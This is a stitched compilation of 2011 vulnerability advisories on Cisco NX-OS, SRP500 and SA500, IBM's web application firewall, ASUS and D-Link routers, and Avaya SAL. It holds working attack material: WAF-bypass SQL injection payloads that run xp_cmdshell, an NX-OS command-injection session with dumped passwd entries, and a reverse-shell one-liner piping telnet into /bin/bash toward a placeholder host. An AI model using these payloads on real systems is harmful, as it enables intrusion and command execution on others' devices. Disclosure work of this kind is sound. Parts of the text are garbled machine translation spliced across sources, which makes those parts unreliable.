URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at: http://www.cisco.com/warp/public/707/cisco-sa-20110928-c10k.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +------------------------------------------------------------+ | Revision 1.0 | 2011-September-28 | Initial public release | +------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/ go/psirt. +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iF4EAREIAAYFAk6Cp14ACgkQQXnnBKKRMNBOWAD/YQDJsUpQlEAe+4lUl7/WGqtg yCddHaRTE9faZTPn4OkA+weoFjsiEbq4xztfYsQkSsApLSXq4/WdiUCfd/tucqrW =kYjE -----END PGP SIGNATURE-----

The default configuration of Avaya Secure Access Link (SAL) Gateway 1.5, 1.8, and 2.0 contains certain domain names in the Secondary Core Server URL and Secondary Remote Server URL fields, which allows remote attackers to obtain sensitive information by leveraging administrative access to these domain names, as demonstrated by alarm and log information. Avaya Provided by Secure Access Link (SAL) Gateway Contains an information disclosure vulnerability. Avaya Provided by Secure Access Link (SAL) Gateway Has a problem with the default settings during installation. Avaya Has released the following vulnerability information. These servers resolve to invalid domains and pose a security threat. Secondary Core Server URL should be same as the primary Core Server URL and Secondary Remote Server URL should be same as the primary Remote Server URL."Information such as logs is not intended E-mail May be sent to the address. No need to surrender free access, this service allows you to initiate a communication connection from your own network and choose the best provider for your business. To exploit this vulnerability, an attacker would need a malicious email server with the 'secavaya.com' and 'secaxeda.com' domain names to get warnings and log information. Exploiting this issue may allow an attacker to access sensitive information that may aid in further attacks

IBM Web Application Firewall, as used on the G400 IPS-G400-IB-1 and GX4004 IPS-GX4004-IB-2 appliances with update 31.030, does not properly handle query strings with multiple instances of the same parameter, which allows remote attackers to bypass intended intrusion prevention by dividing a dangerous parameter value into substrings, as demonstrated by a SQL statement that is split across multiple iid parameters and then sent to a .aspx file on an IIS web server. IBM Web Application Firewall is prone to a security-bypass vulnerability. Successfully exploiting this issue will allow attackers to bypass security restrictions and perform unauthorized actions. Remote attackers can bypass preset intrusion defenses by splitting dangerous parameters into multiple substrings. Versions affected: Tested against G400 IPS-G400-IB-1 (Intrusion Prevention Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2 (Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030). The issue occurs when an attacker submits repeated occurrences of the same parameter. The example shown below uses the following environment: A web environment using Microsoft IIS, ASP .NET technology, Microsoft SQL Server 2000, being protected by the IBM Web Application Firewall. http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell "ping 10.1.1.3" -- IIS with ASP.NET (and even pure ASP) technology will concatenate the contents of a parameter if multiple entries are part of the request. http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" -- IIS with ASP.NET (and even pure ASP) technology will concatenate both entries of iid parameter, however it will include an comma "," between them, resulting in the following output being sent to the database. '; EXEC master..xp_cmdshell , "ping 10.1.1.3" -- The request above will be identified and blocked (depending of configuration) by IBM Web application firewall, because it appears that "EXEC" and "xp_cmdshell" trigger an attack pattern. However, it is possible to split all the spaces in multiple parameters. For example: http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC &iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= -- The above request will bypass the affected IBM Web application firewall, resulting in the following output being sent to the database. '; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , -- However, the above SQL code will not be properly executed because of the comma inserted on the SQL query, to solve this situation we will use SQL comments. http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC /*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ -- The above request will bypass IBM Web application firewall, resulting in the following output being sent to the database, which is a valid and working SQL code. '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ -- The above code will execute the ping command on the Microsoft Windows backend, assuming the application was running with administrative privileges. This attack class is also referenced sometimes as HTTP Pollution Attack, HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation. The exploitability of this issue depends of the infrastructure (WebServer, Development Framework Technology, etc) technology being used. Remediation Steps: IBM has released fixes to the above issue in the "Super Tuesday" patch released in June. Refer to the references section of the advisory for further information released by IBM. Revision History: 04/07/11 - Vulnerability disclosed 06/16/11 - Patch released 06/21/11 - Advisory published References: 1. http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm 2. http://xforce.iss.net/xforce/xfdb/67178 About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

QIS_wizard.htm on the ASUS RT-N56U router with firmware before 1.0.1.4o allows remote attackers to obtain the administrator password via a flag=detect request. ASUS Provided by RT-N56U Contains an administrative password disclosure vulnerability. ASUS Provided by RT-N56U Is a gigabit compatible wireless router. RT-N56U Contains a management password disclosure vulnerability because authentication is not required to connect to the configuration page that contains the device's management password. Note that you can connect to this device by default. LAN Only for users within.An administrative password may be obtained by a remote third party. An attacker with access to the device can access the http://RouterIPAddress/QIS_wizard.htm?flag=detect page. An attacker can obtain device configuration without entering login credentials. This web page will display the device administrator password. By default, only clients connected to the local domain network (LAN) are allowed to access the system WEB interface. ASUS RT-N56U firmware version 1.0.1.4 is vulnerable. ---------------------------------------------------------------------- The Secunia CSI 5.0 Beta - now available for testing Find out more, take a free test drive, and share your opinion with us: http://secunia.com/blog/242 ---------------------------------------------------------------------- TITLE: ASUS RT-N56U Wireless Router "QIS_wizard.htm" Information Disclosure SECUNIA ADVISORY ID: SA45714 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/45714/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=45714 RELEASE DATE: 2011-08-26 DISCUSS ADVISORY: http://secunia.com/advisories/45714/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/45714/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=45714 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A security issue has been reported in the Asus RT-N56U Wireless Router, which can be exploited by malicious people to disclose sensitive information. The security issue is caused due to the router not restricting access to a page displaying the device's configuration (QIS_wizard.htm?flag=detect) and can be exploited to disclose sensitive information including the device's administrative password. SOLUTION: Update to firmware version 1.0.1.4o PROVIDED AND/OR DISCOVERED BY: Plucky via US-CERT. ORIGINAL ADVISORY: US-CERT: http://www.kb.cert.org/vuls/id/200814 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Cisco Nexus OS (aka NX-OS) 4.2 and 5.0 and Cisco Unified Computing System with software 1.4 and 2.0 do not properly restrict command-line options, which allows local users to gain privileges via unspecified vectors, aka Bug IDs CSCtf40008, CSCtg18363, CSCtr44645, CSCts10195, and CSCts10188. The problem is Bug ID CSCtf40008 , CSCtg18363 , CSCtr44645 , CSCts10195 ,and CSCts10188 It is a problem.Authority may be obtained by local users. The Cisco Nexus Series switches are data center switches. Adopt the Cisco Nexus OS operating system. The section command is used as an AWK script to pass the request string, but the input is not fully filtered. Any command can be executed on the LINUX subsystem. nx1# sh clock | sed 's/.*/BEGIN \\{ system\\(\\\"id \"\\) \\}/' > 20110713.awk Warning: There is already a file existing with this name. Do you want to overwrite (yes/no)? [no] y nx1# sh clock | sec '* -f /bootflash /20110713.awk ' uid=2003(user) gid=504(network-operator) 11:16:04.082 UTC Wed Jul 13 2011 nx1# sh clock | sed 's/.*/BEGIN \\{ system\\(\\\"ls \\/mnt\\/cfg\\/0\\/\"\\) \\}/' > 20110713.awk nx1# sh clock | sec '* -f /bootflash/20110713.awk ' ascii bin boot cfglabel.sysmgr debug licenses linux log lost +found 11:18:41.885 UTC Wed Jul 13 2011 can be used to delete any file in the boot flash or send the 'reboot' command. In addition, the less command Han total, press the colon and press the \"e\" key to specify the file path to be opened. You can view any system file: bin:*:1:1:bin:/bin: daemon:*:2:2:daemon :/usr/sbin: sys:*:3:3:sys:/dev: ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash ftpuser:UvdRSOzORvz9o:99:14:ftpuser: /var/ftp:/isanboot/bin/nobash nobody:*:65534:65534:nobody:/home:/bin/sh admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm Use \"|\" (pipe) and then press the \"$\" macro key to execute the command: !ls -lah > /bootflash/20110715 You can also create a remote shell by doing the following: mknod rs p; telnet ad.dr.es. s 8888 0<rs | /bin/bash 1>rs. A local attacker can exploit these issues to execute arbitrary commands with administrative privileges. Successful exploits may compromise the affected computer. Cisco MDS, UCS, Nexus 7000, 5000, 4000, 3000, 2000, and 1000V are vulnerable; other versions may also be affected

The D-Link DIR-685 router, when certain WPA and WPA2 configurations are used, does not maintain an encrypted wireless network during transfer of a large amount of network traffic, which allows remote attackers to obtain sensitive information or bypass authentication via a Wi-Fi device. D-Link DIR-685 Xtreme N Storage Router Is WPA/WPA2 There is a vulnerability in which communication is performed without encryption even if it is set. D-Link DIR-685 Xtreme N Storage Router Is AES Using crypto WPA-PSK, WPA2-PSK Even if it is set to communicate with, there is a vulnerability that communication is performed without encryption under heavy load conditions such as huge data transmission processing. After that, communication is not encrypted until the device is restarted.Radio of applicable equipment LAN Communication contents may be intercepted by a third party within reach. The D-Link DIR-685 is a wireless router device. The device needs to be restarted to restore the original encryption state. D-Link DIR-685 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to connect to the affected device without authentication. This may aid in further attacks. D-Link is a network company founded by Taiwan D-Link Group, dedicated to the R&D, production and marketing of LAN, broadband network, wireless network, voice network and related network equipment. ---------------------------------------------------------------------- Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool. Read the new report on the Secunia VIM: http://secunia.com/products/corporate/vim/ovum_2011_request/ ---------------------------------------------------------------------- TITLE: D-Link DIR-685 Xtreme N Storage Router Encryption Failure Weakness SECUNIA ADVISORY ID: SA46380 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46380/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46380 RELEASE DATE: 2011-10-13 DISCUSS ADVISORY: http://secunia.com/advisories/46380/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46380/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46380 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A weakness has been reported in D-Link DIR-685 Xtreme N Storage Router, which can be exploited by malicious people to bypass certain security restrictions. The weakness is caused due to an error in the router when configured with WPA/WPA2 and an AES pre-shared key (PSK) cipher. SOLUTION: Do not use an AES pre-shared key (PSK) cipher. PROVIDED AND/OR DISCOVERED BY: Jerry Decime via US-CERT. ORIGINAL ADVISORY: US-CERT: http://www.kb.cert.org/vuls/id/924307 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Cross-site request forgery (CSRF) vulnerability in the Services Ready Platform Configuration Utility web interface on the Cisco Small Business SRP521W, SRP526W, and SRP527W with firmware before 1.1.24 and the Small Business SRP541W, SRP546W, and SRP547W with firmware before 1.2.1 allows remote attackers to hijack the authentication of administrators for requests that execute arbitrary commands, aka Bug ID CSCtr45124. The problem is ID CSCtr45124 It is a problem.A third party may be able to hijack the administrator's authentication requesting the execution of arbitrary commands. Cisco Small Business SRP500 Series Appliances are prone to a remote command-injection vulnerability. Successful exploits will result in the execution of arbitrary attacker-supplied commands in the context of the root user. This may facilitate a complete compromise. This issue is being tracked by Cisco bug ID CSCtr45124. ---------------------------------------------------------------------- Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool. Read the new report on the Secunia VIM: http://secunia.com/products/corporate/vim/ovum_2011_request/ ---------------------------------------------------------------------- TITLE: Cisco Small Business SRP520 / SRP540 Series Command Injection Vulnerability SECUNIA ADVISORY ID: SA46664 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46664/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46664 RELEASE DATE: 2011-11-03 DISCUSS ADVISORY: http://secunia.com/advisories/46664/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46664/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46664 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A vulnerability has been reported in Cisco Small Business SRP520 / SRP540 series, which can be exploited by malicious people to compromise a vulnerable system. by tricking a logged-in administrator into following a malicious link. * Cisco SRP526W versions prior to 1.1.24. * Cisco SRP527W versions prior to 1.1.24. * Cisco SRP541W versions prior to 1.2.1. * Cisco SRP546W versions prior to 1.2.1. * Cisco SRP547W versions prior to 1.2.1. SOLUTION: Update to version 1.1.24 or 1.2.1. PROVIDED AND/OR DISCOVERED BY: The vendor credits Michal Sajdak, Securitum. ORIGINAL ADVISORY: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111102-srp500 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Cisco Security Advisory: Cisco Small Business SRP500 Series Command Injection Vulnerability Advisory ID: cisco-sa-20111102-srp500 Revision 1.0 For Public Release 2011 November 2 16:00 UTC (GMT) +-------------------------------------------------------------------- Summary ======= Cisco Small Business SRP500 Series Services Ready Platforms contain an operating system command injection vulnerability. Cisco has released free software updates that address this vulnerability. Workarounds that mitigate this vulnerability are available. This advisory is posted at http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111102-srp500. Affected Products ================= Vulnerable Products +------------------ The following Cisco Small Business SRP520 Series models are affected if running firmware prior to version 1.1.24: * Cisco SRP521W * Cisco SRP526W * Cisco SRP527W The following Cisco Small Business SRP540 Series models are affected if running firmware prior to version 1.2.1: * Cisco SRP541W * Cisco SRP546W * Cisco SRP547W To view the firmware version on a device, log in to the Services Ready Platform Configuration Utility and navigate to the "Status > Router" page to view information about the SRP and its firmware status. The "Firmware Version" field indicates the current running version of firmware on the SRP500 Series device. Products Confirmed Not Vulnerable +-------------------------------- No other Cisco products are currently known to be affected by this vulnerability. Details ======= Cisco Small Business SRP500 Series Services Ready Platforms are flexible, cost-effective, fixed-configuration customer premises equipment (CPE) with embedded intelligence to enable service providers to create, provision, and deploy premium revenue-generating services -- a variety of high-quality IP voice, data, security, and wireless services -- to small businesses on an as-needed basis. For this vulnerability to be exploited, a remote attacker must either entice an administrator to access a crafted link or perform a man-in-the-middle attack, intercepting an authenticated session. Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtr45124 ("Cisco Small Business SRP500 Series Services Ready Platforms Command Injection Vulnerability") CVSS Base Score - 9.3 Access Vector - Network Access Complexity - Medium Authentication - None Confidentiality Impact - Complete Integrity Impact - Complete Availability Impact - Complete CVSS Temporal Score - 7.7 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of the vulnerability may result in the execution of arbitrary commands on the device. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Small Business Support Center or your contracted maintenance provider for assistance. This vulnerability has been fixed in the following firmware versions: +------------------------------------------------------------+ | Affected Product | First Fixed Release | |--------------------------+---------------------------------| | Cisco SRP521W | 1.1.24 | |--------------------------+---------------------------------| | Cisco SRP526W | 1.1.24 | |--------------------------+---------------------------------| | Cisco SRP527W | 1.1.24 | |--------------------------+---------------------------------| | Cisco SRP541W | 1.2.1 | |--------------------------+---------------------------------| | Cisco SRP546W | 1.2.1 | |--------------------------+---------------------------------| | Cisco SRP547W | 1.2.1 | +------------------------------------------------------------+ The latest Cisco Small Business SRP500 Series Services Ready Platforms firmware can be downloaded at http://www.cisco.com/cisco/software/navigator.html?mdfid=282736194&i=rm Workarounds =========== The following mitigations help limit exposure to this vulnerability. * Disable Remote Management Caution: Do not disable remote management if administrators manage devices via the WAN connection. This action will result in a loss of management connectivity to the device. Remote Management is enabled by default. Administrators can disable this feature by choosing "Administration > Web Access Management". Change the setting for the Remote Management field to Disabled. Disabling remote management limits exposure because the vulnerability can then be exploited from the inter-LAN network only. * Limit Remote Management Access to Specific IP Addresses If remote management is required, secure the device so that it can be accessed by certain IP addresses only, rather than the default setting of All IP Addresses. After choosing "Administration > Web Access Management", an administrator can change the Allowed Remote IP Address setting to ensure that only devices with specified IP addresses can access the device. Obtaining Fixed Software ======================== Cisco has released free software updates that address this vulnerability. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. If the information is not clear, please contact the Cisco Small Business Support Center or your contracted maintenance provider for assistance. Small Business Support Center contacts are as follows. +1 866 606 1866 (toll free from within North America) +1 408 418 1866 (toll call from anywhere in the world) Customers should have their product serial number available. Refer to http://www.cisco.com/en/US/support/tsd_cisco_small_business_support_center_contacts.html for additional support contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Customers with Service Contracts +------------------------------- See the Obtaining Fixed Software section of this advisory. Customers using Third Party Support Organizations +------------------------------------------------ See the Obtaining Fixed Software section of this advisory. Customers without Service Contracts +---------------------------------- See the Obtaining Fixed Software section of this advisory. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any malicious use of the vulnerability described in this advisory. This vulnerability was demonstrated at a conference in San Jose, CA on November 2, 2011. This vulnerability was reported to Cisco by Michal Sajdak of Securitum, Poland. Status of this Notice: Final ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111102-srp500 In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-teams@first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +------------------------------------------------------------+ | Revision 1.0 | 2011-November-2 | Initial draft release. | +------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iF4EAREIAAYFAk6wn+cACgkQQXnnBKKRMNAY5wD8CplHH8zrwzTGPHmrOFJyeYIm kg/OjEjxe60spU5+IbcA/3gNeptZTKm+fZ/lVJOIfB3RK2Gya7J0tDtnSA7Hna/j =XkML -----END PGP SIGNATURE-----

SQL injection vulnerability in the web-based management interface on Cisco SA 500 series security appliances with software before 2.1.19 allows remote attackers to execute arbitrary SQL commands via unspecified vectors, aka Bug ID CSCtq65669. The problem is Bug ID CSCtq65669 It is a problem.By any third party SQL The command may be executed. Exploiting this issue could allow an authenticated attacker to compromise the affected device, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue is being tracked by Cisco Bug ID CSCtq65669. The following devices are affected: Cisco SA520 Cisco SA520W Cisco SA540. Both vulnerabilities can be exploited over the network. Cisco has released free software updates that address these vulnerabilities. Workarounds that mitigate these vulnerabilities are available. This advisory is posted at: http://www.cisco.com/warp/public/707/cisco-sa-20110720-sa500.shtml Affected Products ================= Vulnerable Products +------------------ These vulnerabilities affect the following devices running a software version prior to the first fixed release documented in the Software Versions and Fixes section of this advisory: * Cisco SA520 * Cisco SA520W * Cisco SA540 There are multiple methods to determine the version of system software that is running on a device. At the device web login screen, the system software version is displayed under the "Security Appliance Configuration Utility" heading. Administrators can also log in to a device through the web management interface and navigate to Administration > Firmware & Configuration > Network. The Primary Firmware field appears below Status Information. The number directly beside the Primary Firmware field is the system software version. Alternately, after logging in to the device, administrators can click on the About link on top right side of the screen. The system software version will be displayed below the "Security Appliance Configuration Utility" heading. An example of the system firmware version is 2.1.18. Products Confirmed Not Vulnerable +--------------------------------- No other Cisco products are currently known to be affected by these vulnerabilities. This vulnerability is documented in Cisco bug ID CSCtq65669 and has been assigned Common Vulnerabilities and Exposures (CVE) ID CVE-2011-2546 * Privilege Escalation Vulnerability An authenticated user who is logged in to an affected device could exploit this vulnerability to inject arbitrary commands into the underlying operating system. By supplying malicious parameters through several web forms, the attacker could gain root privileges. This vulnerability is documented in Cisco bug ID CSCtq65681 and has been assigned Common Vulnerabilities and Exposures (CVE) ID CVE-2011-2547 Vulnerability Scoring Details +---------------------------- Cisco has provided scores for the vulnerabilities in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtq65669 - SQL injection vulnerability CVSS Base Score - 5.0 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - Partial Integrity Impact - None Availability Impact 